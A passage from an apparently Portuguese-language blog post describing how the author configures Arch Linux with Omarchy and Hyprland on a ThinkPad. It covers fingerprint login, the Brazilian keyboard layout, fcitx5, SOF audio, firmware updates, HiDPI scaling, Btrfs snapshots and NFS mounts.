    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>clickfinger_behavior</code> troca o clique de 2 dedos como botão direito (mais confortável que acertar a zona inferior direita). <code>disable_while_typing</code> é palm rejection básico. Três dedos horizontais alternam workspaces, o gesto mais útil no Hyprland.</p>
<h2>Configs específicos do Thinkpad<span class="hx:absolute hx:-mt-20" id="configs-específicos-do-thinkpad"></span>
    <a href="#configs-espec%c3%adficos-do-thinkpad" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui entra o que é particular desse modelo. Algumas coisas o Linux moderno já cobre sozinho, outras exigem configuração específica.</p>
<h3>Sensor de digital<span class="hx:absolute hx:-mt-20" id="sensor-de-digital"></span>
    <a href="#sensor-de-digital" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Goodix MOC <code>27c6:6594</code>, funciona com libfprint 1.94.9+ em kernel 6.11+. Pacote é <code>fprintd</code>.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S fprintd
</span></span><span class="line"><span class="cl">fprintd-enroll                        <span class="c1"># dedo indicador direito por default</span>
</span></span><span class="line"><span class="cl">fprintd-enroll -f left-index-finger   <span class="c1"># outro dedo</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pro <code>sudo</code> aceitar digital, adiciono <code>auth sufficient pam_fprintd.so</code> acima da linha do <code>pam_unix.so</code> em <code>/etc/pam.d/sudo</code>. Com <code>sufficient</code>, se a digital passar, autentica direto. Se falhar ou se eu digitar ESC, cai pro prompt de senha. Isso vale a pena de verdade: dezenas de vezes por dia, <code>sudo pacman -Syu</code> ou <code>sudo systemctl restart algo</code>, e é só encostar o dedo.</p>
<p>No hyprlock, uso a configuração nativa do próprio hyprlock, não o PAM:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>auth {
    fingerprint {
        enabled = true
        ready_message = Scan fingerprint or type password
        present_message = Scanning...
        retry_delay = 250
    }
}</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A razão é que o caminho PAM dá prompt duplo. Configurado nativo, o hyprlock aceita digital ou senha, o que vier primeiro desbloqueia.</p>
<p>No SDDM (login inicial), deixei senha apenas. O motivo: a senha de login destrava o keyring do GNOME, e a digital não consegue fornecer plaintext pra isso. Depois que o keyring está destrancado, o hyprlock pode usar digital sem problema.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/sudo-asks-for-fingerprinting.png" alt="Prompt do sudo pedindo leitura de digital"  loading="lazy" /></p>
<p>Na prática, o sudo fica assim. Encosta o dedo, autentica, segue.</p>
<h3>Teclado brasileiro do Thinkpad<span class="hx:absolute hx:-mt-20" id="teclado-brasileiro-do-thinkpad"></span>
    <a href="#teclado-brasileiro-do-thinkpad" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O teclado brasileiro do Thinkpad tem uma peculiaridade chata. A tecla <code>/?</code> fica na posição que seria o Ctrl direito (keycode 97), não na posição AB11 tradicional do ABNT2 (keycode 89). Se você usar o layout padrão <code>br(abnt2)</code>, essa tecla fica inacessível. Literalmente não imprime nada.</p>
<p>A solução é o variant <code>br(thinkpad)</code> que existe em <code>/usr/share/X11/xkb/symbols/br</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>xkb_symbols &#34;thinkpad&#34; {
    include &#34;br(abnt2)&#34;
    name[Group1]=&#34;Portuguese (Brazil, IBM/Lenovo ThinkPad)&#34;;
    key &lt;RCTL&gt; { [ slash, question, degree, questiondown ] };
};</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No <code>hypr/input.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>kb_layout = br
kb_variant = thinkpad
kb_model = thinkpad60</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E system-wide pra TTY/X11:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo localectl set-keymap br-abnt2
</span></span><span class="line"><span class="cl">sudo localectl set-x11-keymap br thinkpad thinkpad60</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Escrevi um pequeno Python que lê scancodes brutos de <code>/dev/input/event*</code> pra diagnosticar essas esquisitices. Útil quando uma tecla decide não funcionar e você precisa descobrir se é hardware, kernel, ou xkb.</p>
<h3>Input method: fcitx5<span class="hx:absolute hx:-mt-20" id="input-method-fcitx5"></span>
    <a href="#input-method-fcitx5" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Junto com o layout eu instalo fcitx5. Input method, pra quem não conhece, é a camada que transforma sequência de teclas em caracteres. É onde entram deadkeys (til pra nasalizar, acento agudo, circunflexo), composição de caracteres que não estão no teclado (ç, Ç, letras acentuadas em maiúscula), suporte a emoji. Em app Qt ou GTK, o input method também cuida dos menus de contexto pra cedilha e acentos.</p>
<p>Pacotes:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E as variáveis de ambiente pros toolkits encontrarem o fcitx5. Criei <code>~/.config/environment.d/fcitx.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>INPUT_METHOD=fcitx
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
SDL_IM_MODULE=fcitx</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>environment.d</code> do systemd é carregado antes das sessões gráficas, então Brave, Alacritty, VS Code e qualquer GTK/Qt pegam automaticamente. Habilito autostart no Hyprland:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>exec-once = fcitx5 -d</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Digitando <code>~a</code> vira <code>ã</code>, <code>'e</code> vira <code>é</code>, <code>ç</code> funciona como deveria em toda aplicação. Num teclado Thinkpad brasileiro, isso é a diferença entre conseguir escrever em português com naturalidade ou ficar catando letra.</p>
<h3>Áudio SOF<span class="hx:absolute hx:-mt-20" id="áudio-sof"></span>
    <a href="#%c3%a1udio-sof" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Codec Realtek ALC3306/ALC287 via Sound Open Firmware. Sem o <code>sof-firmware</code>, o módulo de kernel carrega mas o DSP nunca boota e o PipeWire cai silenciosamente pra <code>auto_null</code>. Resultado: você acha que o alto-falante está no mudo, mas na verdade o PipeWire não tem device nenhum.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed sof-firmware alsa-ucm-conf pipewire pipewire-pulse wireplumber</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se precisar forçar SOF em vez do HDA legacy:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;options snd-intel-dspcfg dsp_driver=3&#34;</span> <span class="p">|</span> sudo tee /etc/modprobe.d/alsa.conf</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Reload sem reboot:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo modprobe -r snd_sof_pci_intel_mtl
</span></span><span class="line"><span class="cl">sudo modprobe snd_sof_pci_intel_mtl
</span></span><span class="line"><span class="cl">systemctl --user restart wireplumber pipewire pipewire-pulse</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Firmware updates pelo fwupd<span class="hx:absolute hx:-mt-20" id="firmware-updates-pelo-fwupd"></span>
    <a href="#firmware-updates-pelo-fwupd" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/bios-update.jpg" alt="Firmware update da Lenovo (ME Corp) rodando no boot"  loading="lazy" /></p>
<p><code>fwupdmgr update</code> funciona, mas com Limine tem uma pegadinha: o fwupd tenta escrever em <code>/boot/EFI/systemd/</code> ou <code>/boot/EFI/arch/</code>, que não existem. O workaround:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo mkdir -p /boot/EFI/arch
</span></span><span class="line"><span class="cl">sudo fwupdmgr update -y --no-reboot-check
</span></span><span class="line"><span class="cl">fwupdmgr get-history  <span class="c1"># deve mostrar &#34;Success&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>HiDPI / fractional scaling<span class="hx:absolute hx:-mt-20" id="hidpi--fractional-scaling"></span>
    <a href="#hidpi--fractional-scaling" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Painel 14&quot; em 1920x1200 numa resolução do Hyprland livre. O auto 1.5x do Omarchy ficava chunky demais. Fixei em 1.333x:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>env = GDK_SCALE,1
monitor=,preferred,auto,1.3333,vrr,2</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Efetivo 1440x900. GTK com <code>GDK_SCALE=1</code> renderiza 1:1 com o Hyprland (não magnifica duplo). VRR mode 2 só em fullscreen, porque painéis LCD tendem a cintilar em conteúdo estático com VRR ativa.</p>
<p>Flags do Brave e Chromium pra renderizar bem nessa escala:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>--ozone-platform=wayland
--enable-features=WaylandFractionalScaleV1,UseOzonePlatform,VaapiVideoDecoder,VaapiVideoEncoder
--enable-gpu-rasterization</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O VAAPI faz diferença real na bateria em YouTube.</p>
<h2>Tunando Omarchy pra ser meu<span class="hx:absolute hx:-mt-20" id="tunando-omarchy-pra-ser-meu"></span>
    <a href="#tunando-omarchy-pra-ser-meu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Omarchy vem com defaults bons. O que eu ajusto é no topo deles, sem tocar em <code>~/.local/share/omarchy/</code> (que é clobbered pelo <code>omarchy-update</code>). Toda customização fica em <code>~/.config/</code>.</p>
<h3>Infra: Btrfs, snapshots, Snapper<span class="hx:absolute hx:-mt-20" id="infra-btrfs-snapshots-snapper"></span>
    <a href="#infra-btrfs-snapshots-snapper" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Omarchy já vem com Btrfs e subvolumes separados:</p>
<table>
  <thead>
      <tr>
          <th>Subvolume</th>
          <th>Mount</th>
          <th>Entra nos snapshots?</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>@</code></td>
          <td><code>/</code></td>
          <td>sim</td>
      </tr>
      <tr>
          <td><code>@home</code></td>
          <td><code>/home</code></td>
          <td>não</td>
      </tr>
      <tr>
          <td><code>@log</code></td>
          <td><code>/var/log</code></td>
          <td>não</td>
      </tr>
      <tr>
          <td><code>@pkg</code></td>
          <td><code>/var/cache/pacman/pkg</code></td>
          <td>não</td>
      </tr>
  </tbody>
</table>
<p><code>@home</code> separado significa que <code>~/.cache</code>, <code>~/.config/BraveSoftware</code>, etc. não incham snapshots do root. Snapshot é de sistema, não de perfil.</p>
<p>Swap: zram de 4 GB com prioridade 100 (hit primeiro), mais swapfile de 30 GB com prioridade 0 (habilita hibernação, dimensionado pra RAM).</p>
<p>O stack de snapshot: Snapper tira snapshot antes e depois de cada <code>pacman -Syu</code> via snap-pac. <code>limine-snapper-sync</code> escreve esses snapshots no menu do Limine, então dá pra bootar num snapshot anterior pra reverter. Se algo quebra depois de update, você segura uma tecla no boot, escolhe o snapshot pré-update, boota read-only pra verificar, e se estiver bom, faz <code>snapper rollback</code>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/btrfs-snapshots-config.png" alt="Subvolumes Btrfs separados pra que snapshots do root não inchem com cache de usuário"  loading="lazy" /></p>
<p>Omarchy deixa o <code>snapper-cleanup.timer</code> e o <code>snapper-boot.timer</code> desabilitados por default. Habilitei os dois e configurei retenção pra caber num SSD de 1 TB sem explodir:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>TIMELINE_LIMIT_HOURLY=10
TIMELINE_LIMIT_DAILY=0
TIMELINE_LIMIT_WEEKLY=1
TIMELINE_LIMIT_MONTHLY=1
NUMBER_LIMIT=50</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Um detalhe que custa debug pra quem esquece: Docker e Ollama escrevem gigabytes em <code>/var/lib/docker</code> e <code>/var/lib/ollama</code>. Se isso cai dentro de <code>@</code>, os snapshots catastrofizam. Cada imagem Docker ou modelo Ollama baixado triplica em tamanho. Criei subvolumes aninhados pros dois, com <code>chattr +C</code> pra desligar CoW:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo btrfs subvolume create /var/lib/docker
</span></span><span class="line"><span class="cl">sudo chattr +C /var/lib/docker
</span></span><span class="line"><span class="cl">sudo btrfs subvolume create /var/lib/ollama</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso tem que ser feito ANTES de o Docker ou Ollama escrever dados. Se já tem dados lá, precisa migrar.</p>
<h3>NFS pro NAS Synology<span class="hx:absolute hx:-mt-20" id="nfs-pro-nas-synology"></span>
    <a href="#nfs-pro-nas-synology" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Meu Synology expõe três volumes. No desktop, monto normal. No notebook, tem que ser mais defensivo. O notebook anda, esquece a rede, conecta em WiFi público. Fstab do notebook:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>nfs4  _netdev,noauto,nofail,x-systemd.automount,x-systemd.idle-timeout=10min,x-systemd.mount-timeout=15s,noatime,nodiratime,nconnect=4,actimeo=10,soft,timeo=30,retrans=2</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Diferença crítica em relação ao desktop: <code>soft</code> com timeouts curtos (não fica pendurado pra sempre), <code>x-systemd.idle-timeout=10min</code> (auto-unmount quando ocioso), sem <code>network-online.target</code> no require (não atrasa boot). Resultado prático: <code>cd /mnt/gigachad</code> em casa monta lazy, fora de casa falha rápido sem trancar shell.</p>
